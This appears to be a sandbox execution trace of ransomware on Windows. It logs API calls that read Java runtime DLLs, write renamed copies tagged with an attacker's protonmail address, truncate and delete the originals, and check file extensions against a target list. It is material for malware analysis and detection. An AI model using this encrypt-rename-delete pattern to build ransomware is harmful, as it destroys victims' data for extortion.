	[0087.154] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.154] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsdt.dll")) returned 1
	[0087.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.154] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.154] lstrlenW (lpString=".doc") returned 4
	[0087.154] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.154] lstrlenW (lpString=".docx") returned 5
	[0087.154] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.154] lstrlenW (lpString=".pdf") returned 4
	[0087.154] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString=".xls") returned 4
	[0087.155] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString=".xlsx") returned 5
	[0087.155] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.155] lstrlenW (lpString=".ppt") returned 4
	[0087.155] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.155] lstrlenW (lpString=".zip") returned 4
	[0087.155] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString=".rar") returned 4
	[0087.155] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString=".bz2") returned 4
	[0087.155] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.155] lstrlenW (lpString=".7z") returned 3
	[0087.155] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.155] lstrlenW (lpString=".dbf") returned 4
	[0087.155] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.155] lstrlenW (lpString=".1cd") returned 4
	[0087.155] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.155] lstrlenW (lpString=".jpg") returned 4
	[0087.155] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.155] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.155] lstrlenW (lpString=".doc") returned 4
	[0087.155] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.155] lstrlenW (lpString=".docx") returned 5
	[0087.155] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1
	[0087.155] lstrlenW (lpString=".pdf") returned 4
	[0087.155] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.156] lstrlenW (lpString=".xls") returned 4
	[0087.156] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.156] lstrlenW (lpString=".xlsx") returned 5
	[0087.156] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1
	[0087.156] lstrlenW (lpString=".ppt") returned 4
	[0087.156] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.156] lstrlenW (lpString=".zip") returned 4
	[0087.156] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.156] lstrlenW (lpString=".rar") returned 4
	[0087.156] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.156] lstrlenW (lpString=".bz2") returned 4
	[0087.156] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.156] lstrlenW (lpString=".7z") returned 3
	[0087.156] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.156] lstrlenW (lpString=".dbf") returned 4
	[0087.156] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.156] lstrlenW (lpString=".1cd") returned 4
	[0087.156] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.156] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsdt.dll") returned 47
	[0087.156] lstrlenW (lpString=".jpg") returned 4
	[0087.156] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.156] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.156] lstrlenW (lpString="jsound.dll") returned 10
	[0087.156] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.157] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=35392) returned 1
	[0087.157] CloseHandle (hObject=0x388) returned 1
	[0087.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20
	[0087.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.157] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.157] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.157] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.158] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.158] GetLastError () returned 0x0
	[0087.158] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x8a40, lpOverlapped=0x0) returned 1
	[0087.160] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x8a50, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x8a50, lpOverlapped=0x0) returned 1
	[0087.161] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.161] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0087.161] SetEndOfFile (hFile=0x338) returned 1
	[0087.162] CloseHandle (hObject=0x338) returned 1
	[0087.162] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.162] SetEndOfFile (hFile=0x388) returned 1
	[0087.163] CloseHandle (hObject=0x388) returned 1
	[0087.163] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.163] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 1
	[0087.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.164] lstrlenW (lpString=".doc") returned 4
	[0087.164] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.164] lstrlenW (lpString=".docx") returned 5
	[0087.164] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0087.164] lstrlenW (lpString=".pdf") returned 4
	[0087.164] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.164] lstrlenW (lpString=".xls") returned 4
	[0087.164] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.164] lstrlenW (lpString=".xlsx") returned 5
	[0087.164] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0087.164] lstrlenW (lpString=".ppt") returned 4
	[0087.164] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.164] lstrlenW (lpString=".zip") returned 4
	[0087.164] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.164] lstrlenW (lpString=".rar") returned 4
	[0087.164] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.164] lstrlenW (lpString=".bz2") returned 4
	[0087.164] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.164] lstrlenW (lpString=".7z") returned 3
	[0087.164] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.164] lstrlenW (lpString=".dbf") returned 4
	[0087.164] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.164] lstrlenW (lpString=".1cd") returned 4
	[0087.164] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.164] lstrlenW (lpString=".jpg") returned 4
	[0087.164] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.165] lstrlenW (lpString=".doc") returned 4
	[0087.165] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.165] lstrlenW (lpString=".docx") returned 5
	[0087.165] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1
	[0087.165] lstrlenW (lpString=".pdf") returned 4
	[0087.165] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.165] lstrlenW (lpString=".xls") returned 4
	[0087.165] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.165] lstrlenW (lpString=".xlsx") returned 5
	[0087.165] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1
	[0087.165] lstrlenW (lpString=".ppt") returned 4
	[0087.165] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.165] lstrlenW (lpString=".zip") returned 4
	[0087.165] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.165] lstrlenW (lpString=".rar") returned 4
	[0087.165] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.165] lstrlenW (lpString=".bz2") returned 4
	[0087.165] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.165] lstrlenW (lpString=".7z") returned 3
	[0087.165] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.165] lstrlenW (lpString=".dbf") returned 4
	[0087.165] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.165] lstrlenW (lpString=".1cd") returned 4
	[0087.165] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.165] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll") returned 49
	[0087.165] lstrlenW (lpString=".jpg") returned 4
	[0087.165] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.166] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.166] lstrlenW (lpString="jsoundds.dll") returned 12
	[0087.166] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.166] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=31296) returned 1
	[0087.166] CloseHandle (hObject=0x388) returned 1
	[0087.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 0x20
	[0087.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.166] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.166] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.166] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.166] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.167] GetLastError () returned 0x0
	[0087.167] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x7a40, lpOverlapped=0x0) returned 1
	[0087.169] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x7a50, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x7a50, lpOverlapped=0x0) returned 1
	[0087.170] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.170] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.170] SetEndOfFile (hFile=0x338) returned 1
	[0087.170] CloseHandle (hObject=0x338) returned 1
	[0087.170] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.170] SetEndOfFile (hFile=0x388) returned 1
	[0087.171] CloseHandle (hObject=0x388) returned 1
	[0087.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.172] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsoundds.dll")) returned 1
	[0087.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.172] lstrlenW (lpString=".doc") returned 4
	[0087.172] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.172] lstrlenW (lpString=".docx") returned 5
	[0087.172] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.172] lstrlenW (lpString=".pdf") returned 4
	[0087.172] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.172] lstrlenW (lpString=".xls") returned 4
	[0087.172] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.172] lstrlenW (lpString=".xlsx") returned 5
	[0087.172] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.172] lstrlenW (lpString=".ppt") returned 4
	[0087.172] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.172] lstrlenW (lpString=".zip") returned 4
	[0087.172] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.172] lstrlenW (lpString=".rar") returned 4
	[0087.172] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.172] lstrlenW (lpString=".bz2") returned 4
	[0087.172] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.172] lstrlenW (lpString=".7z") returned 3
	[0087.172] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.172] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.172] lstrlenW (lpString=".dbf") returned 4
	[0087.173] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.173] lstrlenW (lpString=".1cd") returned 4
	[0087.173] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.173] lstrlenW (lpString=".jpg") returned 4
	[0087.173] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.173] lstrlenW (lpString=".doc") returned 4
	[0087.173] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.173] lstrlenW (lpString=".docx") returned 5
	[0087.173] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.173] lstrlenW (lpString=".pdf") returned 4
	[0087.173] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.173] lstrlenW (lpString=".xls") returned 4
	[0087.173] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.173] lstrlenW (lpString=".xlsx") returned 5
	[0087.173] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.173] lstrlenW (lpString=".ppt") returned 4
	[0087.173] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.173] lstrlenW (lpString=".zip") returned 4
	[0087.173] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0087.173] lstrlenW (lpString=".rar") returned 4
	[0087.173] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0087.173] lstrlenW (lpString=".bz2") returned 4
	[0087.173] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0087.173] lstrlenW (lpString=".7z") returned 3
	[0087.173] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0087.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.173] lstrlenW (lpString=".dbf") returned 4
	[0087.173] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0087.173] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.174] lstrlenW (lpString=".1cd") returned 4
	[0087.174] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0087.174] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsoundds.dll") returned 51
	[0087.174] lstrlenW (lpString=".jpg") returned 4
	[0087.174] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0087.174] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0087.174] lstrlenW (lpString="kcms.dll") returned 8
	[0087.174] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.174] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=220736) returned 1
	[0087.174] CloseHandle (hObject=0x388) returned 1
	[0087.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 0x20
	[0087.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0087.174] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0087.174] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.175] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.175] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0087.175] GetLastError () returned 0x0
	[0087.175] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x35e40, lpOverlapped=0x0) returned 1
	[0087.180] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x35e50, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x35e50, lpOverlapped=0x0) returned 1
	[0087.184] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.184] WriteFile (in: hFile=0x338, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0087.184] SetEndOfFile (hFile=0x338) returned 1
	[0087.185] CloseHandle (hObject=0x338) returned 1
	[0087.185] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0087.185] SetEndOfFile (hFile=0x388) returned 1
	[0087.187] CloseHandle (hObject=0x388) returned 1
	[0087.187] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0087.187] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\kcms.dll")) returned 1
	[0087.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.187] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.187] lstrlenW (lpString=".doc") returned 4
	[0087.187] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0087.187] lstrlenW (lpString=".docx") returned 5
	[0087.187] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0087.187] lstrlenW (lpString=".pdf") returned 4
	[0087.187] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0087.187] lstrlenW (lpString=".xls") returned 4
	[0087.187] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0087.187] lstrlenW (lpString=".xlsx") returned 5
	[0087.187] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0087.187] lstrlenW (lpString=".ppt") returned 4
	[0087.188] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0087.188] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\kcms.dll") returned 47
	[0087.188] lstrlenW (lpString=".zip") returned 4
